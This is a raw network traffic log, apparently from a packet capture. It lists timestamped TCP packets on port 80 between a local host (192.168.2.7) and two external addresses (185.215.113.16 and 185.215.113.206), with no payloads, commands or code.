Oct 26, 2024 08:53:41.342102051 CEST	80	49956	185.215.113.206	192.168.2.7
Oct 26, 2024 08:53:41.342161894 CEST	49956	80	192.168.2.7	185.215.113.206
Oct 26, 2024 08:53:41.366988897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.367006063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.367050886 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.405812025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.405834913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.405858040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.405869007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.405881882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.405911922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.405965090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.442434072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.442450047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.442495108 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.443991899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.444048882 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.444086075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.444098949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.444108963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.444122076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.444133043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.444179058 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.484636068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.484687090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.484724045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.484730959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.523195982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.523241997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.523253918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.523266077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.523277044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.523277998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.523291111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.523330927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.523356915 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.561492920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561517954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561528921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561542034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561587095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561600924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561613083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561624050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.561739922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.561739922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.561739922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.602118969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.602168083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.602205038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.602524996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.640687943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.640738964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.640775919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.640809059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.640842915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.640883923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.640883923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.640943050 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.640943050 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.678766966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678834915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678843975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678853035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678864002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678874016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678884983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678891897 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.678895950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.678922892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.678946018 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.719101906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.719115973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.719125986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.719135046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.719172001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.719203949 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.758022070 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.758057117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.758074045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.758085966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.758095026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.758106947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.758184910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.994937897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995012999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995027065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995038033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995049000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995085001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995095968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995107889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995119095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995131016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995141029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995141029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995141029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995141029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995182037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995295048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995335102 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995357990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995371103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995397091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995424032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995451927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995462894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995474100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995486021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995486975 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995513916 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995585918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995623112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995645046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995661974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995672941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995691061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995695114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995709896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995726109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995738983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995739937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995752096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995759964 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995764971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995775938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995790005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995790005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995804071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995810986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.995816946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995826960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:41.995850086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:41.996170044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.041342020 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.142477036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142528057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142540932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142570019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.142611027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142647028 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.142704010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142715931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142725945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142736912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142748117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142750978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.142782927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.142923117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.142961025 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.143042088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143054008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143064022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143074989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143085003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.143089056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143100023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143109083 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.143112898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143126011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.143132925 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.143165112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.148334026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.148354053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.148408890 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.149617910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.149627924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.149667978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.190043926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.190057993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.190068960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.190079927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.190089941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.190102100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.190104961 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.190155029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.229284048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.229300022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.229311943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.229368925 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.259967089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.259979963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.260041952 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.267406940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.267446995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.267456055 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.267460108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.267508030 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.307578087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.307595015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.307607889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.307617903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.307630062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.307641983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.307641983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.307682991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.307698011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.346493959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.346508980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.346518993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.346529961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.346668005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.346668005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.385031939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.385050058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.385061026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.385071993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.385083914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.385149002 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.385206938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.424906969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.424948931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.424967051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.424978971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.424992085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.425004959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.425137043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.425137043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.463913918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.463931084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.463943005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.464006901 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.464062929 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.502405882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.502433062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.502443075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.502450943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.502461910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.502471924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.502693892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.502693892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.542222023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.542243004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.542258024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.542268038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.542280912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.542292118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.542500019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.542500019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.581279993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.581291914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.581301928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.581311941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.581321955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.581334114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.581578016 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.581578016 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.619883060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.619906902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.619919062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.619929075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.619940996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.619950056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.619961023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.620090961 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.620090961 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.659780025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.659797907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.659810066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.659821033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.659832954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.660038948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.660038948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.849934101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.849951029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.849961042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.849972010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.849984884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.849996090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850007057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850013018 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.850018978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850030899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850066900 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.850238085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850250006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850261927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850272894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850275040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.850297928 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.850316048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850327969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850347042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850359917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850366116 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.850373983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.850393057 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.850409031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.851080894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.851121902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.851161957 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.854274035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.854326963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.854340076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.854357958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.854407072 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.854407072 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.855395079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.855405092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.855441093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.895580053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.895591974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.895643950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.934922934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.934957027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.934968948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.934979916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.934990883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.935053110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.965996981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.966010094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.966223955 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:42.971760988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.971779108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.971791029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:42.971843004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:43.012968063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.012993097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.013004065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.013053894 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:43.052530050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.052547932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.052561045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.052634001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.052642107 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:43.052649975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.052789927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:43.088992119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.089051008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.089066029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.089093924 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:43.089095116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:43.089109898 CEST	80	49759	185.215.113.16	192.168.2.7
